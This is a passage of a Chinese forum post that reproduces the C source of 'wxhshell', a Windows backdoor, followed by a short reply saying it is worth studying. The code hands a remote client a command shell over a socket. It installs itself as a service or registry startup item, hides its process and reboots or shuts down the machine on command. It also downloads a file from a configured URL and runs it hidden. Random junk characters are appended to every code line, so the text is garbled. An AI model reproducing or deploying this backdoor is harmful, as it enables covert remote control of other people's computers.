  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &libC>a[  
  if(DownloadFile(cmd,wsh)) 3"'|Ql.H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]3#_BL)M8p  
  else F' ZLN]"{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .ao'o,|vE  
  } 9;;1 "^4/  
  else { ?Gr<9e2Eo  
->vfQwBFd  
    switch(cmd[0]) { 0-Xpq,0  
  & Qghm o  
  // 帮助 ))63?_  
  case '?': { %@(6,^3%i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?7:"D e  
    break; hMw}[6m  
  } nZQZ!Vfj  
  // 安装 iXC/? EK4  
  case 'i': { Q>}I@eyJ  
    if(Install()) ~I/7{B|yX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B dm<<<  
    else n[WXIE<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J8a4.prqI  
    break; Z.m.Uyz{7  
    } D8W:mAGEu  
  // 卸载 I_xJ[ALdm  
  case 'r': { w`1qx;/!  
    if(Uninstall()) O3*Vilx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -tx)7KV-  
    else qd3B>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6.1EK0  
    break; )@Xdr0  
    } 7 pg8kq@  
  // 显示 wxhshell 所在路径 ' 7>}I{Lq  
  case 'p': { =]7|*-  
    char svExeFile[MAX_PATH]; ]5td,2E C  
    strcpy(svExeFile,"\n\r"); +C\?G/  
      strcat(svExeFile,ExeFile); KnZm(c9+  
        send(wsh,svExeFile,strlen(svExeFile),0); pM[UC{  
    break; u4o%qK  
    } #:Cr'U  
  // 重启 2ok>z$Y  
  case 'b': { ..;LU:F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (B]Vw+/  
    if(Boot(REBOOT)) L0|Vc9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nC`#Hm.V%  
    else { Tjure]wQz  
    closesocket(wsh); F>A-+]X3o  
    ExitThread(0); IG +nrTY0  
    } }Sp MHR`  
    break; iO#H_&L.p  
    } "_'9KBd!  
  // 关机 @oYq.baHX  
  case 'd': { >E"FoZM=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |#5JI #,vX  
    if(Boot(SHUTDOWN)) ]2zx}D4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & PHHacp  
    else { E_?3<)l)RI  
    closesocket(wsh); Q;r 0#"  
    ExitThread(0); 9FK:lFGD  
    } >1s:F5u"  
    break; nEOhN  
    } 9FV#@uA}D  
  // 获取shell XNu2G19jb  
  case 's': { KU33P>a"[k  
    CmdShell(wsh); .:RoD?px  
    closesocket(wsh); [Z Ea3/  
    ExitThread(0); Bb:jy!jq_  
    break; O";r\Z  
  } j- F=5)A  
  // 退出 $BH0W{S  
  case 'x': { 0?,EteR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .M:,pw"S]  
    CloseIt(wsh); *o"F.H{#N  
    break; " I`YJEv  
    } _Zf1=& U#/  
  // 离开 8Yq6I>@!  
  case 'q': { '{( n1es  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !c1 E  
    closesocket(wsh); ew?UHV  
    WSACleanup(); AW> P\>{RE  
    exit(1); NV9=~c x  
    break; C UBcU  
        } ]iLfe&f  
  } Iob o5B  
  } @gX@mT"  
C?x  
  // 提示信息 uc7np]Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5W<BEcV\  
} ,PN>,hFL  
  } ={maCYlE.  
=Z-.4\3  
  return; !JYDg  
} [U3z*m>e;  
sFS_CyN!7  
// shell模块句柄 &Vgjd>  
int CmdShell(SOCKET sock)  2 H^9Qd  
{ $8i t&/JP,  
STARTUPINFO si; f"Iv  
ZeroMemory(&si,sizeof(si)); M;Vx[s,#,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6oUT+^z#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5QmF0z)wR  
PROCESS_INFORMATION ProcessInfo; "t_]Qu6  
char cmdline[]="cmd"; 3'&]v6|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iQa Q"s  
  return 0; 2? !b!  
} 7^Onq0ym T  
>{GC@Cw  
// 自身启动模式 de ](l687I  
int StartFromService(void) cVulJ6  
{ 2! wz#EC  
typedef struct 3U:0,-j"  
{ [BV{=;iD  
  DWORD ExitStatus; R~Xl(O  
  DWORD PebBaseAddress; |y'q`cY  
  DWORD AffinityMask; s 6hj[^O  
  DWORD BasePriority; M>I}^Zp!  
  ULONG UniqueProcessId; +%gh?  
  ULONG InheritedFromUniqueProcessId; 4a)qn?<z  
}   PROCESS_BASIC_INFORMATION; t9P` nfY  
@ $(4;ar  
PROCNTQSIP NtQueryInformationProcess; b|fq63ar;  
XTeU 2I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I|R9@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Xb]n_`  
* rs_k/2(  
  HANDLE             hProcess; <<;j=Yy({`  
  PROCESS_BASIC_INFORMATION pbi; [9+M/O|Vs  
4L5Wa~5\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6'wP?=  
  if(NULL == hInst ) return 0; iSFgFJG^  
r2&{R!Fj`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3{$c b"5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `pcjOM8u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )(!vd!p5  
hR{Fn L  
  if (!NtQueryInformationProcess) return 0; }:hdAZ+z  
u-k*[!JU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sHEISNj/^  
  if(!hProcess) return 0; d0N7aacY  
sk],_l<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C2`END;  
+pjD{S~Y  
  CloseHandle(hProcess); ,g\.C+.S  
,%ajIs"Gi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l{y~N  
if(hProcess==NULL) return 0; %|,j'V$  
oEi +S)_  
HMODULE hMod; R(q fP  
char procName[255]; Y@.:U*  
unsigned long cbNeeded; St(7@)gvY  
s}HTxY;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8o4 vA,  
v.Q)Obyn  
  CloseHandle(hProcess); +5T0]!  
6xj&Qo  
if(strstr(procName,"services")) return 1; // 以服务启动 =n#xnZ3  
m Y%PG  
  return 0; // 注册表启动 a!>AhOk.  
} 8\ :T*u3  
;#j/F]xG  
// 主模块 Y}Qu-fm  
int StartWxhshell(LPSTR lpCmdLine) }S42.f.p  
{ XE>XzsnC  
  SOCKET wsl; +$<m;@mZ  
BOOL val=TRUE; *?i~AXJm  
  int port=0; n ~ =]/  
  struct sockaddr_in door; n$~RgCf  
12rr:(#%s  
  if(wscfg.ws_autoins) Install(); @w|~:>/g  
k'u2a  
port=atoi(lpCmdLine); #U6Wv1H{Lp  
OY@/18D<>  
if(port<=0) port=wscfg.ws_port; f:HRrKf9  
zfxxPL'  
  WSADATA data; KD#ip3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zo&U3b{Dy  
Cjwg1?^RZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F!Nx^M1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h7%<  
  door.sin_family = AF_INET; A).wjd(_,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7qnw.7p  
  door.sin_port = htons(port); Xt$?Kx_,  
p_mP'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `|]juc  
closesocket(wsl); 2p'qp/  
return 1; <K2 )v~  
} fHe3 :a5+W  
7ZJYT#>b  
  if(listen(wsl,2) == INVALID_SOCKET) { b)`<J @&{  
closesocket(wsl); #&$4tTl  
return 1; wtRAq/  
} xOEj+%M  
  Wxhshell(wsl); ;H}? 8L  
  WSACleanup(); _\u'~wWl  
:@n e29,}  
return 0; T@f$w/15  
G `TO[p]q  
} L]9*^al  
'5{gWV`  
// 以NT服务方式启动 m@TU2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eLl ;M4d  
{ 7MBz&wE^f  
DWORD   status = 0; n.Ekpq\  
  DWORD   specificError = 0xfffffff; ,@GI3bl  
jagsV'o2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V}Oxz04  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WJ/&Ag1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HhIa=,VY  
  serviceStatus.dwWin32ExitCode     = 0; tn:tM5m  
  serviceStatus.dwServiceSpecificExitCode = 0; M|e@N  
  serviceStatus.dwCheckPoint       = 0; cp]\<p('A  
  serviceStatus.dwWaitHint       = 0; edbzg #wy  
iao_w'tJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y2Y/laD  
  if (hServiceStatusHandle==0) return; B(E+2;!QF  
hXZk$a'  
status = GetLastError(); Xo$(zGb  
  if (status!=NO_ERROR) ^F_c'  
{ 7eZ,; x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6J-tcL*4"%  
    serviceStatus.dwCheckPoint       = 0; ~|+   
    serviceStatus.dwWaitHint       = 0; X(N!y"z  
    serviceStatus.dwWin32ExitCode     = status; Pq !\6s@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ALPZc:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k`xPf\^tf  
    return; BK6oW3wD/  
  } *\-6p0~A  
joYj`K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dTS 7l02  
  serviceStatus.dwCheckPoint       = 0; CSIW|R@   
  serviceStatus.dwWaitHint       = 0; 1[mX_ }K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v-g2k_ o|  
} lP0'Zg(  
+.gZILw  
// 处理NT服务事件,比如:启动、停止 /2 WGo-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,uK }$l  
{ $M#G;W5c  
switch(fdwControl) N9idk}T  
{ 7oK!!Qd^w  
case SERVICE_CONTROL_STOP: PWmFY'=  
  serviceStatus.dwWin32ExitCode = 0; Pe~[qETv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X`#vH8  
  serviceStatus.dwCheckPoint   = 0; l g~Gkd6  
  serviceStatus.dwWaitHint     = 0; -PoW56  
  { _-^a8F>/19  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FAo\`x  
  } wNq#vn  
  return; g2BE-0,R  
case SERVICE_CONTROL_PAUSE: RQ!kVM@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9K~X}]u  
  break; PA&Ev0`+  
case SERVICE_CONTROL_CONTINUE: 1H{J T op  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2w+w'Ag_R  
  break; G[@RZ~o4  
case SERVICE_CONTROL_INTERROGATE: <V>]-bl/  
  break; 4Zo.c* BZ  
}; Wv8?G~>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y'mtMLfMc  
} =g UOHH  
RGf&KV/  
// 标准应用程序主函数 Z<@0~t_:?p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J>TNyVaoQ  
{ #;z;8q  
ACctyGd  
// 获取操作系统版本 O,x[6P54P  
OsIsNt=GetOsVer(); e?,n>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 58V`I5_  
`zw XfY,%  
  // 从命令行安装 r roI  
  if(strpbrk(lpCmdLine,"iI")) Install(); e ^2n58  
+Hgil  
  // 下载执行文件 f; w\k7 #  
if(wscfg.ws_downexe) { C6Lc   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =;ClOy9  
  WinExec(wscfg.ws_filenam,SW_HIDE); i}[cq_wJ  
} ) [+82~F  
gF# HNv  
if(!OsIsNt) { Py y!B  
// 如果时win9x,隐藏进程并且设置为注册表启动 tp*.'p-SI  
HideProc(); S6Y2(qdP  
StartWxhshell(lpCmdLine); T\?$7$/V  
} .o8Sy2PaV  
else ?I{L^j^#4  
  if(StartFromService()) \| &KD  
  // 以服务方式启动 N?`V;`[  
  StartServiceCtrlDispatcher(DispatchTable); Vdd HK  
else d<K2 \:P{}  
  // 普通方式启动 r2yJ{j&s  
  StartWxhshell(lpCmdLine); ti'B}bH>'  
70Jx[3vr  
return 0; jVi> 9[rz  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八